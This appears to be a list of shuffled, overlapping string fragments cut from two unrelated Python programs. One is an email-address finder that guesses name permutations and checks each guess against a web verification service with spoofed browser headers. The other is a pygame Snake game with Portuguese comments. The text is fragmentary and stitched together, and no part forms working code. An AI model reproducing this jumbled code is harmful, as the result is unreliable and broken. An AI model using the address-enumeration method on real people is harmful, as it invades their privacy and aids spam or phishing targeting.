"\"{f}.{m}{l}\", \"{f}.{m}.{l}\" ], 1: [ \"{f}\" ] } EMAIL_FORMAT = \"{user}@{domain}\" class Permutator:",
"domain = domain)): raise ValueError(\"Domain seems to accept all email addresses.\") elif args.verbose:",
"successful\") # Can use either from each of elems elems = [ (first,",
"domain, args) print() if len(email_list) > 0: print(\"Valid Emails: \", email_list) else: print(\"Not",
"before f.last@ before first@ \"\"\" def __init__(self, elems): self.elems = elems # Make",
"leng in (2, 3, 1): for perm in p_gen.generate(leng): first = perm[0] last",
"(last, first), (f, last) The elems is produced and Permutator is called in",
"request.Request( EmailVerifier.SITE_URL, data = enc_data, headers = headers ) return req def check_domain(self,",
"not EmailVerifier().check_domain(domain): raise ValueError(\"Invalid domain name for email server.\") elif EmailVerifier().verify(EMAIL_FORMAT.format(user = RANDOM_EMAIL,",
"= False, action='store_true', help = \"Find all possible addresses instead \\ of stopping",
"\"\"\" Generate all possible combination of two and three words to form an",
"addresses instead \\ of stopping at the first successful\") if __name__ == \"__main__\":",
"else 1 input_list = [] for l in range(loops): name = input(\"Name({first} {last}):",
"of r = size def generate(self, size): for comb in self.make_combs(size, len(self.elems) -",
"else: first, last = name_parts; middle = None if domain == \"\": domain",
"elems = [ (first, first[0]), (last, last[0]) ] if middle: elems.append((middle, middle[0])) email,",
"html if domain_invalid: print(EmailVerifier.CONNECTING_TO_DOMAIN.format( domain)) return False else: return True # Returns a",
"= \"is not valid\" CONNECTING_TO_DOMAIN = \"Connecting to {0} failed\" def create_request(self, email_addr):",
"for i in range(r + 1): j = r - i yield perm[:j]",
"args) print() if len(email_list) > 0: print(\"Valid Emails: \", email_list) else: print(\"Not Found\")",
"p_gen.generate(leng): first = perm[0] last = perm[1] if len(perm) > 1 else None",
"False): req = self.create_request(email_addr) resp = request.urlopen(req) html = resp.read().decode(\"utf-8\") if super_verbose: print(html)",
"= request.Request( EmailVerifier.SITE_URL, data = enc_data, headers = headers ) return req def",
"+ \".\" + COLOR_RESET, end = '', flush = True) if verbose: print(\"",
"yield c for elem in self.elems[l]: for c in self.make_combs(size - 1, l",
"connection...\") try: request.urlopen(google_url) return True except urllib.error.URLError: return False parser = argparse.ArgumentParser( description='Find",
"domain name for email server.\") elif EmailVerifier().verify(EMAIL_FORMAT.format(user = RANDOM_EMAIL, domain = domain)): raise",
"import os, sys import time import argparse # Request headers headers = {",
"domain = correct_for_tld(input(\"Domain: \")) input_list.append((domain, name.split())) prev_domain = \"\" for domain, name_parts in",
"= resp.read().decode(\"utf-8\") domain_invalid = EmailVerifier.CONNECTING_TO_DOMAIN.format( domain) in html if domain_invalid: print(EmailVerifier.CONNECTING_TO_DOMAIN.format( domain)) return",
"requests\") parser.add_argument('-v', dest='verbose', default = False, action='store_true', help = \"Verbose mode\") parser.add_argument('--all', dest='find_all',",
"'Content-Type': 'application/x-www-form-urlencoded', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8', } class EmailVerifier: SITE_URL = 'https://www.verifyemailaddress.org/#result' INVALID_SEARCH_STRING = \"is",
"in self.make_perms(elems, r - 1): for i in range(r + 1): j =",
"yield c # Generate all P(n, r) permutations of r = size def",
"OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36', 'Referer': 'http://www.verifyemailaddress.org', 'Origin': 'http://www.verifyemailaddress.org/',",
"raise ValueError(\"Domain seems to accept all email addresses.\") elif args.verbose: print(\"Domain checks successful\")",
"break if not domain_flag: return domain + TLD[0] else: return domain # Check",
"not check_connectivity(): print(\"Can't connect to internet, exiting.\") sys.exit(1) else: print(\"Connectivity okay.\") args =",
"urllib import request, parse import re import os, sys import time import argparse",
"first), (f, last) The elems is produced and Permutator is called in a",
"1): j = r - i yield perm[:j] + [elems[r]] + perm[j:] return",
"= False): req = self.create_request(email_addr) resp = request.urlopen(req) html = resp.read().decode(\"utf-8\") if super_verbose:",
"checks # each email. def find_email(first, middle, last, domain, args): if not EmailVerifier().check_domain(domain):",
"comb in self.make_combs(size, len(self.elems) - 1): for perm in self.make_perms(comb, len(comb) - 1):",
"middle, leng, args.verbose) if email: email_list.append(email) if not args.find_all: return email_list # Not",
"email, email_list = None, [] p_gen = Permutator(elems) # Order of lengths is",
"l): if (size > l + 1): return if size == 0: yield",
"Returns a boolean value def verify(self, email_addr, super_verbose = False): req = self.create_request(email_addr)",
"return email_list # Automatically append .com if no tld is # present in",
"(Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36', 'Referer':",
"if domain == \"\": return domain domain_flag = False for tld in TLD:",
"name and a domain.') parser.add_argument('--batch', dest='batch', default = False, action='store_true', help = \"Batch",
"c in self.make_combs(size, l - 1): yield c for elem in self.elems[l]: for",
"by # this and the action of the Permutator email_templates = { 2:",
"\"{user}@{domain}\" class Permutator: \"\"\" Generate all possible combination of two and three words",
"over the possible combinations of first and lastname # including .(period), eg. first.last@",
"= [ (first, first[0]), (last, last[0]) ] if middle: elems.append((middle, middle[0])) email, email_list",
"Can use either from each of elems elems = [ (first, first[0]), (last,",
"google_url = \"https://google.com/\" def check_connectivity(): print(\"Checking connection...\") try: request.urlopen(google_url) return True except urllib.error.URLError:",
"possible combinations of first and lastname # including .(period), eg. first.last@ and then",
"super_verbose: # print(re_res) # Possible templates for different sizes # All the possible",
"Make actual permutations of elems def make_perms(self, elems, r): if r == 0:",
"= size def generate(self, size): for comb in self.make_combs(size, len(self.elems) - 1): for",
"len(email_list) > 0: print(\"Valid Emails: \", email_list) else: print(\"Not Found\") prev_domain = domain",
"AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36', 'Referer': 'http://www.verifyemailaddress.org', 'Origin': 'http://www.verifyemailaddress.org/', 'Content-Type': 'application/x-www-form-urlencoded', 'Accept':",
"to accept all email addresses.\") elif args.verbose: print(\"Domain checks successful\") # Can use",
"EMAIL_FORMAT.format(user = user, domain = domain) if verbose: print(\"Checking `\" + try_addr +",
"CONNECTING_TO_DOMAIN = \"Connecting to {0} failed\" def create_request(self, email_addr): post_form = { \"email\":",
"elems.append((middle, middle[0])) email, email_list = None, [] p_gen = Permutator(elems) # Order of",
"in (2, 3, 1): for perm in p_gen.generate(leng): first = perm[0] last =",
"email_addr): post_form = { \"email\": email_addr } enc_data = parse.urlencode(post_form).encode() req = request.Request(",
"EMAIL_FORMAT = \"{user}@{domain}\" class Permutator: \"\"\" Generate all possible combination of two and",
"print(COLOR_RED + \".\" + COLOR_RESET, end = '', flush = True) if verbose:",
"if no tld is # present in domain. TLD = [\".com\", \".org\", \".net\"]",
"# each email. def find_email(first, middle, last, domain, args): if not EmailVerifier().check_domain(domain): raise",
"most common observations for leng in (2, 3, 1): for perm in p_gen.generate(leng):",
"\") if name == \"\": break domain = correct_for_tld(input(\"Domain: \")) input_list.append((domain, name.split())) prev_domain",
"if (size > l + 1): return if size == 0: yield []",
"of elems elems = [ (first, first[0]), (last, last[0]) ] if middle: elems.append((middle,",
"internet connectivity, using Google # the standard connection tester :) google_url = \"https://google.com/\"",
"} class EmailVerifier: SITE_URL = 'https://www.verifyemailaddress.org/#result' INVALID_SEARCH_STRING = \"is not valid\" CONNECTING_TO_DOMAIN =",
"from urllib import request, parse import re import os, sys import time import",
"- 1): for i in range(r + 1): j = r - i",
"emails are always produced most to least specific eg first.last@ before f.last@ before",
"l, m = m) if len(user) < 3: continue try_addr = EMAIL_FORMAT.format(user =",
"domain) in html if domain_invalid: print(EmailVerifier.CONNECTING_TO_DOMAIN.format( domain)) return False else: return True #",
"= \"Batch mode, process multiple requests\") parser.add_argument('-v', dest='verbose', default = False, action='store_true', help",
"possible addresses instead \\ of stopping at the first successful\") if __name__ ==",
"if r == 0: yield [elems[0]] return for perm in self.make_perms(elems, r -",
"size, verbose = False): verifier = EmailVerifier() for template in email_templates[size]: user =",
"= self.create_request(\"help@{0}\".format(domain)) resp = request.urlopen(req) html = resp.read().decode(\"utf-8\") domain_invalid = EmailVerifier.CONNECTING_TO_DOMAIN.format( domain) in",
"p_gen = Permutator(elems) # Order of lengths is 2, 3, 1 # to",
"that nobody should # actually have this as a valid one RANDOM_EMAIL =",
"f.last@ before first@ \"\"\" def __init__(self, elems): self.elems = elems # Make actual",
"name_parts[0], name_parts[1].lower(), name_parts[2] else: first, last = name_parts; middle = None if domain",
"domain except ValueError as e: print(\"Error: \" + str(e)) sys.exit(1) # Successful return",
"for c in self.make_combs(size - 1, l - 1): c.append(elem) yield c #",
"works for Amazon :D return email_list # Automatically append .com if no tld",
"'application/x-www-form-urlencoded', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8', } class EmailVerifier: SITE_URL = 'https://www.verifyemailaddress.org/#result' INVALID_SEARCH_STRING = \"is not",
"either from each of elems elems = [ (first, first[0]), (last, last[0]) ]",
"\"\": return domain domain_flag = False for tld in TLD: if domain.endswith(tld): domain_flag",
"boolean value def verify(self, email_addr, super_verbose = False): req = self.create_request(email_addr) resp =",
"= '', flush = True) return try_addr else: print(COLOR_RED + \".\" + COLOR_RESET,",
"argparse # Request headers headers = { 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS",
"of lengths is 2, 3, 1 # to match most common observations for",
"sys.exit(1) else: print(\"Connectivity okay.\") args = parser.parse_args() loops = 1000 if args.batch else",
"domain_invalid = EmailVerifier.CONNECTING_TO_DOMAIN.format( domain) in html if domain_invalid: print(EmailVerifier.CONNECTING_TO_DOMAIN.format( domain)) return False else:",
"= parser.parse_args() loops = 1000 if args.batch else 1 input_list = [] for",
"check_connectivity(): print(\"Checking connection...\") try: request.urlopen(google_url) return True except urllib.error.URLError: return False parser =",
"post_form = { \"email\": email_addr } enc_data = parse.urlencode(post_form).encode() req = request.Request( EmailVerifier.SITE_URL,",
"permutations of elems def make_perms(self, elems, r): if r == 0: yield [elems[0]]",
"[ \"{f}{m}{l}\", \"{f}{m}.{l}\", \"{f}.{m}{l}\", \"{f}.{m}.{l}\" ], 1: [ \"{f}\" ] } EMAIL_FORMAT =",
"to internet, exiting.\") sys.exit(1) else: print(\"Connectivity okay.\") args = parser.parse_args() loops = 1000",
"P(n, r) permutations of r = size def generate(self, size): for comb in",
"False): verifier = EmailVerifier() for template in email_templates[size]: user = template.format(f = f,",
"are covered by # this and the action of the Permutator email_templates =",
"__init__(self, elems): self.elems = elems # Make actual permutations of elems def make_perms(self,",
"= argparse.ArgumentParser( description='Find email address given a name and a domain.') parser.add_argument('--batch', dest='batch',",
"\".net\"] def correct_for_tld(domain): if domain == \"\": return domain domain_flag = False for",
"domain = prev_domain try: email_list = find_email(first.lower(), middle, last.lower(), domain, args) print() if",
"def verify(self, email_addr, super_verbose = False): req = self.create_request(email_addr) resp = request.urlopen(req) html",
"default = False, action='store_true', help = \"Find all possible addresses instead \\ of",
"3, 1 # to match most common observations for leng in (2, 3,",
"'Referer': 'http://www.verifyemailaddress.org', 'Origin': 'http://www.verifyemailaddress.org/', 'Content-Type': 'application/x-www-form-urlencoded', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8', } class EmailVerifier: SITE_URL =",
"in a way such that the emails are always produced most to least",
"- 1): yield perm return COLOR_GREEN = \"\\033[0;32m\" COLOR_RED = \"\\033[1;31m\" COLOR_RESET =",
"print(\"Domain checks successful\") # Can use either from each of elems elems =",
"\"{f}{m}{l}\", \"{f}{m}.{l}\", \"{f}.{m}{l}\", \"{f}.{m}.{l}\" ], 1: [ \"{f}\" ] } EMAIL_FORMAT = \"{user}@{domain}\"",
"input(\"Name({first} {last}): \") if name == \"\": break domain = correct_for_tld(input(\"Domain: \")) input_list.append((domain,",
"elems): self.elems = elems # Make actual permutations of elems def make_perms(self, elems,",
"\".\" + COLOR_RESET, end = '', flush = True) if verbose: print(\" \")",
"False for tld in TLD: if domain.endswith(tld): domain_flag = True break if not",
"last = name_parts; middle = None if domain == \"\": domain = prev_domain",
"is called in a way such that the emails are always produced most",
"print(\"Not Found\") prev_domain = domain except ValueError as e: print(\"Error: \" + str(e))",
"False, action='store_true', help = \"Find all possible addresses instead \\ of stopping at",
"middle: elems.append((middle, middle[0])) email, email_list = None, [] p_gen = Permutator(elems) # Order",
"\"\\033[1;31m\" COLOR_RESET = \"\\033[0;0m\" def verify_for_size(f, l, m, size, verbose = False): verifier",
"= True break if not domain_flag: return domain + TLD[0] else: return domain",
"connect to internet, exiting.\") sys.exit(1) else: print(\"Connectivity okay.\") args = parser.parse_args() loops =",
"def correct_for_tld(domain): if domain == \"\": return domain domain_flag = False for tld",
"len(perm) > 2 else None email = verify_for_size(first, last, middle, leng, args.verbose) if",
"prev_domain try: email_list = find_email(first.lower(), middle, last.lower(), domain, args) print() if len(email_list) >",
"self.make_perms(comb, len(comb) - 1): yield perm return COLOR_GREEN = \"\\033[0;32m\" COLOR_RED = \"\\033[1;31m\"",
"(False if re_res else True) # if super_verbose: # print(re_res) # Possible templates",
"last[0]) ] if middle: elems.append((middle, middle[0])) email, email_list = None, [] p_gen =",
"resp.read().decode(\"utf-8\") if super_verbose: print(html) re_res = EmailVerifier.INVALID_SEARCH_STRING in html return (False if re_res",
"combinations are covered by # this and the action of the Permutator email_templates",
"action of the Permutator email_templates = { 2: [ \"{f}.{l}\", \"{f}{l}\", ], 3:",
"# Automatically append .com if no tld is # present in domain. TLD",
"in range(loops): name = input(\"Name({first} {last}): \") if name == \"\": break domain",
"if size == 0: yield [] return if l == 0: for elem",
"covered by # this and the action of the Permutator email_templates = {",
":) google_url = \"https://google.com/\" def check_connectivity(): print(\"Checking connection...\") try: request.urlopen(google_url) return True except",
"print(\"Valid Emails: \", email_list) else: print(\"Not Found\") prev_domain = domain except ValueError as"
] |
[
"range(39): # matriz_do_tabuleiro[(-1)//30][(-1)//30] = # Jogo comeca indo para a direita cabecaXChange =",
"1 if not fim_de_jogo and rodada > 1: # Nota: nao muda de",
"Game Loop running = True while running: # Setando a Lista de entrada",
"esta na cobra macaY = (randint(0,19)*30)+1 macaX = (randint(0,19)*30)+1 while((macaX in listaXCorpo) and",
"-1 corpoFunc(cabecaX, cabecaY) cabecaX += cabecaXChange cabecaY += cabecaYChange # Condicao de cobra",
"Funcao para placar def placarFunc(x,y): placar = font.render(\"Pontos: \" + str(pontos), True, (255,",
"255)) screen.blit(placar, (x,y)) # Loop de treino for c in range (2): #",
"verde # Caso crescer == True faz a cobra crescer 1 espaco if",
"a cobra crescer 1 espaco if not crescer: matriz_do_tabuleiro[(listaYCorpo[0]-1)//30][(listaXCorpo[0]-1)//30] = 0 quadradoFundoFunc(listaXCorpo.pop(0), listaYCorpo.pop(0))",
"rodada = 0 # Define fonte pontos = 0 font = pygame.font.Font('freesansbold.ttf', 32)",
"screen.blit(placar, (x,y)) # Loop de treino for c in range (2): # Inicializa",
"= pygame.image.load(\"images/fundo_quadriculado_verde.png\") screen.blit(background,(0,0)) # Load das imagens imagemCorpo = pygame.image.load(\"images/corpo.png\") imagemCabeca = pygame.image.load(\"images/cabeça_direita.png\")",
"placar placarFunc(210,270) cabecaXChange = 0 cabecaYChange = 0 fim_de_jogo = True # Cobre",
"screen = pygame.display.set_mode((600,600)) # Titulo e icone pygame.display.set_caption(\"Jogo da Cobrenha de ThurMP\") icone",
"(x,y)) def cabecaFunc(x, y): screen.blit(imagemCabeca, (x,y)) # Funcao para inserir quadrado verde do",
"== True faz a cobra crescer 1 espaco if not crescer: matriz_do_tabuleiro[(listaYCorpo[0]-1)//30][(listaXCorpo[0]-1)//30] =",
"cobra deve crescer ou nao crescer = False pygame.time.wait(1000) # Game Loop running",
"(cabecaX == macaX and cabecaY == macaY): matriz_do_tabuleiro[(macaY-1)//30][(macaX-1)//30] = 0 pontos += 1",
"= pygame.image.load(\"images/cabeça_direita.png\") imagemQuadradoFundo = pygame.image.load(\"images/quadrado_do_fundo.png\") imagemMaca = pygame.image.load(\"images/maca1.png\") # Configuracao inicial da cabeca",
"(macaX-1)/30 #listaEntrada[3] = (macaY-1)/30 #listaEntrada[4] = (cabecaX-1)/30 #listaEntrada[5] = (cabecaY-1)/30 # Get dos",
"listaYCorpo)): macaY = (randint(0,19)*30)+1 macaX = (randint(0,19)*30)+1 macaFunc(macaX, macaY) # Guarda o valor",
"(x,y)) # Funcao para inserir a maca def macaFunc(x, y): screen.blit(imagemMaca, (x,y)) #",
"== pygame.K_UP) and (cabecaYChange == 0): imagemCabeca = pygame.image.load(\"images/cabeça_cima.png\") cabecaXChange = 0 cabecaYChange",
"= pygame.image.load(\"images/cabeça_baixo.png\") cabecaXChange = 0 cabecaYChange = 30 if (event.key == pygame.K_UP) and",
"True, (255, 255, 255)) screen.blit(placar, (x,y)) # Loop de treino for c in",
"fim_de_jogo and rodada > 1: # Nota: nao muda de direcao caso ja",
"Funcoes para inserir a cabeca e o corpo def corpoFunc(x, y): screen.blit(imagemCorpo, (x,y))",
"pygame.K_UP) and (cabecaYChange == 0): imagemCabeca = pygame.image.load(\"images/cabeça_cima.png\") cabecaXChange = 0 cabecaYChange =",
"(cabecaYChange == 0): imagemCabeca = pygame.image.load(\"images/cabeça_cima.png\") cabecaXChange = 0 cabecaYChange = -30 if",
"de cobra bater na borda if (cabecaX < 0) or (cabecaX > 600)",
"True while running: # Setando a Lista de entrada listaEntrada[0] = rodada listaEntrada[1]",
"[Esquerda, Cima, Direita, Baixo] listaOutput = [0,0,0,0] # Lista de entrada [n da",
"# Funcao para inserir quadrado verde do fundo def quadradoFundoFunc(x, y): screen.blit(imagemQuadradoFundo, (x,y))",
"imagemCorpo = pygame.image.load(\"images/corpo.png\") imagemCabeca = pygame.image.load(\"images/cabeça_direita.png\") imagemQuadradoFundo = pygame.image.load(\"images/quadrado_do_fundo.png\") imagemMaca = pygame.image.load(\"images/maca1.png\") #",
"imagemMaca = pygame.image.load(\"images/maca1.png\") # Configuracao inicial da cabeca cabecaX = 181 cabecaY =",
"paredes, corpo da cobra e maca) listaEntrada = [0]*3 # Nota: a matriz",
"# matriz do tabuleiro] (tabuleiro incluindo # paredes, corpo da cobra e maca)",
"do corpo # (Ja com a configuracao inicial) listaXCorpo = [91, 121 ,151]",
"randint # Var de trainamento # Lista de saida [Esquerda, Cima, Direita, Baixo]",
"# paredes, corpo da cobra e maca) listaEntrada = [0]*3 # Nota: a",
"= 0 fim_de_jogo = True # Cobre a ponta da cauda com quadrado",
"maca def macaFunc(x, y): screen.blit(imagemMaca, (x,y)) # Funcao para placar def placarFunc(x,y): placar",
",151] listaYCorpo = [271, 271, 271] # Configuracao inicial do corpo cabecaFunc(cabecaX, cabecaY)",
"# Plot do placar placarFunc(210,270) cabecaXChange = 0 cabecaYChange = 0 fim_de_jogo =",
"que o # tabuleiro em si para a cebeca ser centralizada # e",
"matriz do tabuleiro] (tabuleiro incluindo # paredes, corpo da cobra e maca) listaEntrada",
"listaXCorpo) and (macaY in listaYCorpo)): macaY = (randint(0,19)*30)+1 macaX = (randint(0,19)*30)+1 macaFunc(macaX, macaY)",
"= pygame.image.load(\"images/snake icon.png\") fim_de_jogo = False rodada = 0 # Define fonte pontos",
"= -1 # Cria a primeira maca e garante que nao esta na",
"para verificar se a cobra deve crescer ou nao crescer = False pygame.time.wait(1000)",
"pygame.image.load(\"images/cabeça_direita.png\") imagemQuadradoFundo = pygame.image.load(\"images/quadrado_do_fundo.png\") imagemMaca = pygame.image.load(\"images/maca1.png\") # Configuracao inicial da cabeca cabecaX",
"y): screen.blit(imagemCabeca, (x,y)) # Funcao para inserir quadrado verde do fundo def quadradoFundoFunc(x,",
"matriz_do_tabuleiro[(271-1)//30][(121-1)//30] = -1 matriz_do_tabuleiro[(271-1)//30][(151-1)//30] = -1 # Cria a primeira maca e garante",
"crescer = False pygame.time.wait(1000) # Game Loop running = True while running: #",
"macaY = (randint(0,19)*30)+1 macaX = (randint(0,19)*30)+1 macaFunc(macaX, macaY) # Guarda o valor para",
"grava na lista listaXCorpo.append(cabecaX) listaYCorpo.append(cabecaY) matriz_do_tabuleiro[(cabecaY-1)//30][(cabecaX-1)//30] = -1 corpoFunc(cabecaX, cabecaY) cabecaX += cabecaXChange",
"rodada ,pontos obtidos # matriz do tabuleiro] (tabuleiro incluindo # paredes, corpo da",
"= (randint(0,19)*30)+1 macaX = (randint(0,19)*30)+1 matriz_do_tabuleiro[(macaY-1)//30][(macaX-1)//30] = 1 # Garante que a maca",
"for i in range(len(listaXCorpo)): if(cabecaX == listaXCorpo[i]): if (cabecaY == listaYCorpo[i]): # Plot",
"matriz_do_tabuleiro[(cabecaY-1)//30][(cabecaX-1)//30] = -1 corpoFunc(cabecaX, cabecaY) cabecaX += cabecaXChange cabecaY += cabecaYChange # Condicao",
"if (event.key == pygame.K_RIGHT) and (cabecaXChange == 0): imagemCabeca = pygame.image.load(\"images/cabeça_direita.png\") cabecaXChange =",
"= 30 if (event.key == pygame.K_UP) and (cabecaYChange == 0): imagemCabeca = pygame.image.load(\"images/cabeça_cima.png\")",
"Cria tela e define tamanho screen = pygame.display.set_mode((600,600)) # Titulo e icone pygame.display.set_caption(\"Jogo",
"# Inicializa o pygame pygame.init() # Cria tela e define tamanho screen =",
"# Var para verificar se a cobra deve crescer ou nao crescer =",
"imagens imagemCorpo = pygame.image.load(\"images/corpo.png\") imagemCabeca = pygame.image.load(\"images/cabeça_direita.png\") imagemQuadradoFundo = pygame.image.load(\"images/quadrado_do_fundo.png\") imagemMaca = pygame.image.load(\"images/maca1.png\")",
"i in range(len(listaXCorpo)): if(cabecaX == listaXCorpo[i]): if (cabecaY == listaYCorpo[i]): # Plot do",
"para inserir a cabeca e o corpo def corpoFunc(x, y): screen.blit(imagemCorpo, (x,y)) def",
"cabecaYChange = 0 if (event.key == pygame.K_DOWN) and (cabecaYChange == 0): imagemCabeca =",
"# grava na lista listaXCorpo.append(cabecaX) listaYCorpo.append(cabecaY) matriz_do_tabuleiro[(cabecaY-1)//30][(cabecaX-1)//30] = -1 corpoFunc(cabecaX, cabecaY) cabecaX +=",
"Lista de entrada [n da rodada ,pontos obtidos # matriz do tabuleiro] (tabuleiro",
"= 0 cabecaYChange = 30 if (event.key == pygame.K_UP) and (cabecaYChange == 0):",
"add 1 ponto e cria outra # Atuliza a posicao da da maca",
"borda if (cabecaX < 0) or (cabecaX > 600) or (cabecaY > 600)",
"= (randint(0,19)*30)+1 macaX = (randint(0,19)*30)+1 macaFunc(macaX, macaY) # Guarda o valor para ela",
"and (cabecaXChange == 0): imagemCabeca = pygame.image.load(\"images/cabeça_direita.png\") cabecaXChange = 30 cabecaYChange = 0",
"# Lista de saida [Esquerda, Cima, Direita, Baixo] listaOutput = [0,0,0,0] # Lista",
"da da maca na matriz if (cabecaX == macaX and cabecaY == macaY):",
"macaFunc(macaX, macaY) matriz_do_tabuleiro[(macaY-1)//30][(macaX-1)//30] = 1 # Var para verificar se a cobra deve",
"# Nota: nao muda de direcao caso ja esteja indo para a desejada",
"matriz_do_tabuleiro[i] = [0]*39 listaEntrada[2] = matriz_do_tabuleiro # Funcoes para inserir a cabeca e",
"0 if (event.key == pygame.K_DOWN) and (cabecaYChange == 0): imagemCabeca = pygame.image.load(\"images/cabeça_baixo.png\") cabecaXChange",
"271, 271] # Configuracao inicial do corpo cabecaFunc(cabecaX, cabecaY) corpoFunc(91, 271) corpoFunc(121, 271)",
"tamanho screen = pygame.display.set_mode((600,600)) # Titulo e icone pygame.display.set_caption(\"Jogo da Cobrenha de ThurMP\")",
"pygame.image.load(\"images/maca1.png\") # Configuracao inicial da cabeca cabecaX = 181 cabecaY = 271 #for",
"Plot do placar placarFunc(210,270) cabecaXChange = 0 cabecaYChange = 0 fim_de_jogo = True",
"= matriz_do_tabuleiro # Funcoes para inserir a cabeca e o corpo def corpoFunc(x,",
"def cabecaFunc(x, y): screen.blit(imagemCabeca, (x,y)) # Funcao para inserir quadrado verde do fundo",
"# Atuliza a posicao da da maca na matriz if (cabecaX == macaX",
"maca) listaEntrada = [0]*3 # Nota: a matriz sera quase 4 vezes maior",
"#listaEntrada[2] = (macaX-1)/30 #listaEntrada[3] = (macaY-1)/30 #listaEntrada[4] = (cabecaX-1)/30 #listaEntrada[5] = (cabecaY-1)/30 #",
"0 cabecaYChange = 0 fim_de_jogo = True # Condicao de cobra bater nela",
"Condicao de cobra bater na borda if (cabecaX < 0) or (cabecaX >",
"# Caso crescer == True faz a cobra crescer 1 espaco if not",
"= pygame.font.Font('freesansbold.ttf', 32) # Cria e atualiza fundo background = pygame.image.load(\"images/fundo_quadriculado_verde.png\") screen.blit(background,(0,0)) #",
"Atuliza a posicao da da maca na matriz if (cabecaX == macaX and",
"# e poder enxergar o tabuleiro inteiro sempre tamanho_tabuleiro_maior = 20 + 19",
"True # Coloca o corpo logo onde a cabeca sai e # grava",
"(cabecaX < 0) or (cabecaX > 600) or (cabecaY > 600) or (cabecaY",
"crescer 1 espaco if not crescer: matriz_do_tabuleiro[(listaYCorpo[0]-1)//30][(listaXCorpo[0]-1)//30] = 0 quadradoFundoFunc(listaXCorpo.pop(0), listaYCorpo.pop(0)) crescer =",
"maior que o # tabuleiro em si para a cebeca ser centralizada #",
"(randint(0,19)*30)+1 macaFunc(macaX, macaY) matriz_do_tabuleiro[(macaY-1)//30][(macaX-1)//30] = 1 # Var para verificar se a cobra",
"#listaEntrada[3] = (macaY-1)/30 #listaEntrada[4] = (cabecaX-1)/30 #listaEntrada[5] = (cabecaY-1)/30 # Get dos eventos",
"not crescer: matriz_do_tabuleiro[(listaYCorpo[0]-1)//30][(listaXCorpo[0]-1)//30] = 0 quadradoFundoFunc(listaXCorpo.pop(0), listaYCorpo.pop(0)) crescer = False # Coloca a",
"1 ponto e cria outra # Atuliza a posicao da da maca na",
"da Cobrenha de ThurMP\") icone = pygame.image.load(\"images/snake icon.png\") fim_de_jogo = False rodada =",
"da maca na matriz if (cabecaX == macaX and cabecaY == macaY): matriz_do_tabuleiro[(macaY-1)//30][(macaX-1)//30]",
"Jogo comeca indo para a direita cabecaXChange = 30 cabecaYChange = 0 #",
"in listaXCorpo) and (macaY in listaYCorpo)): macaY = (randint(0,19)*30)+1 macaX = (randint(0,19)*30)+1 macaFunc(macaX,",
"de cobra bater nela mesma for i in range(len(listaXCorpo)): if(cabecaX == listaXCorpo[i]): if",
"== listaXCorpo[i]): if (cabecaY == listaYCorpo[i]): # Plot do placar placarFunc(210,270) cabecaXChange =",
"cabecaFunc(cabecaX, cabecaY) corpoFunc(91, 271) corpoFunc(121, 271) corpoFunc(151, 271) matriz_do_tabuleiro[(271-1)//30][(91-1)//30] = -1 matriz_do_tabuleiro[(271-1)//30][(121-1)//30] =",
"(randint(0,19)*30)+1 macaX = (randint(0,19)*30)+1 matriz_do_tabuleiro[(macaY-1)//30][(macaX-1)//30] = 1 # Garante que a maca nao",
"== 0): imagemCabeca = pygame.image.load(\"images/cabeça_baixo.png\") cabecaXChange = 0 cabecaYChange = 30 if (event.key",
"if event.type == pygame.KEYDOWN: rodada += 1 if not fim_de_jogo and rodada >",
"-1 # Cria a primeira maca e garante que nao esta na cobra",
"imagemCabeca = pygame.image.load(\"images/cabeça_baixo.png\") cabecaXChange = 0 cabecaYChange = 30 if (event.key == pygame.K_UP)",
"#listaEntrada[4] = (cabecaX-1)/30 #listaEntrada[5] = (cabecaY-1)/30 # Get dos eventos for event in",
"# Se alguma seta for apertada if event.type == pygame.KEYDOWN: rodada += 1",
"da cobra while((macaX in listaXCorpo) and (macaY in listaYCorpo)): macaY = (randint(0,19)*30)+1 macaX",
"trainamento # Lista de saida [Esquerda, Cima, Direita, Baixo] listaOutput = [0,0,0,0] #",
"corpo da cobra e maca) listaEntrada = [0]*3 # Nota: a matriz sera",
"0 # Listas para manter armazenadas as posicoes do corpo # (Ja com",
"lista listaXCorpo.append(cabecaX) listaYCorpo.append(cabecaY) matriz_do_tabuleiro[(cabecaY-1)//30][(cabecaX-1)//30] = -1 corpoFunc(cabecaX, cabecaY) cabecaX += cabecaXChange cabecaY +=",
"= -30 cabecaYChange = 0 if (event.key == pygame.K_RIGHT) and (cabecaXChange == 0):",
"cabecaYChange = 30 if (event.key == pygame.K_UP) and (cabecaYChange == 0): imagemCabeca =",
"quadrado verde do fundo def quadradoFundoFunc(x, y): screen.blit(imagemQuadradoFundo, (x,y)) # Funcao para inserir",
"da cabeca cabecaX = 181 cabecaY = 271 #for i in range(39): #",
"# matriz_do_tabuleiro[(-1)//30][(-1)//30] = # Jogo comeca indo para a direita cabecaXChange = 30",
"tabuleiro inteiro sempre tamanho_tabuleiro_maior = 20 + 19 matriz_do_tabuleiro = [0]*tamanho_tabuleiro_maior for i",
"cabecaY) cabecaX += cabecaXChange cabecaY += cabecaYChange # Condicao de cobra bater na",
"0): imagemCabeca = pygame.image.load(\"images/cabeça_esquerda.png\") cabecaXChange = -30 cabecaYChange = 0 if (event.key ==",
"a cabeca e o corpo def corpoFunc(x, y): screen.blit(imagemCorpo, (x,y)) def cabecaFunc(x, y):",
"fonte pontos = 0 font = pygame.font.Font('freesansbold.ttf', 32) # Cria e atualiza fundo",
"if(cabecaX == listaXCorpo[i]): if (cabecaY == listaYCorpo[i]): # Plot do placar placarFunc(210,270) cabecaXChange",
"de entrada [n da rodada ,pontos obtidos # matriz do tabuleiro] (tabuleiro incluindo",
"random import randint # Var de trainamento # Lista de saida [Esquerda, Cima,",
"imagemCabeca = pygame.image.load(\"images/cabeça_esquerda.png\") cabecaXChange = -30 cabecaYChange = 0 if (event.key == pygame.K_RIGHT)",
"tabuleiro] (tabuleiro incluindo # paredes, corpo da cobra e maca) listaEntrada = [0]*3",
